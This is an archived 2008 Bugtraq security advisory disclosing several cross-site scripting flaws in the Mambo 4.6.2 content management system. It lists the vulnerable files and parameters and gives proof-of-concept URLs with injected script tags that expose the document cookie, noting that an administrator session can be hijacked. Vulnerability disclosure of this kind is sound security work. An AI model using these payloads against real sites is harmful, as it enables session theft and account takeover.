bugtraq - Mambo 4.6.2 Full Version - Multiple Cross Site Scripting

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Fri, 15 Aug 2008 04:13:37 -0600
From: irancrash@...il.com
To: bugtraq@...urityfocus.com
Subject: Mambo 4.6.2 Full Version - Multiple Cross Site Scripting - By
 Khashayar Fereidani

----------------------------------------------------------------

Script : Mambo 4.6.2 Full & Older Versions

Type : Multiple Cross Site Scripting Vulnerabilities

Alert Level : Medium

----------------------------------------------------------------

Download From : http://surfnet.dl.sourceforge.net/sourceforge/mambo/MamboV4.6.2.zip

----------------------------------------------------------------

Discovered by : Khashayar Fereidani

My Website : HTTP://FEREIDANI.IR

Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com

----------------------------------------------------------------

Cross Site Scripting Vulnerability 1 :

Vulnerable File : administrator/popups/index3pop.php

Vulnerable Line (5)  : <title><?php echo $mosConfig_sitename; ?> - Administration [Mambo]</title>

Vulnerable Variable : mosConfig_sitename

For Example : http://Example/administrator/popups/index3pop.php?mosConfig_sitename=</title><script>alert(document.cookie)</script>

Attacker can hijack administrator cookie and session and login with they 

----------------------------------------------------------------

Cross Site Scripting Vulnerability 2 :

Vulnerable File : mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?

Vulnable Variable : Any Variable - You can set any variable ....

For Example set (hacker) variable : http://Example/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?khashayar=<script>alert('xss')</script>

you can set cross site scripting code in variable name : http://Example/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?<script>alert('xss')</script>=Hello+Word

----------------------------------------------------------------

                        Tnx : God

       HTTP://IRCRASH.COM       HTTP://FEREIDANI.IR

----------------------------------------------------------------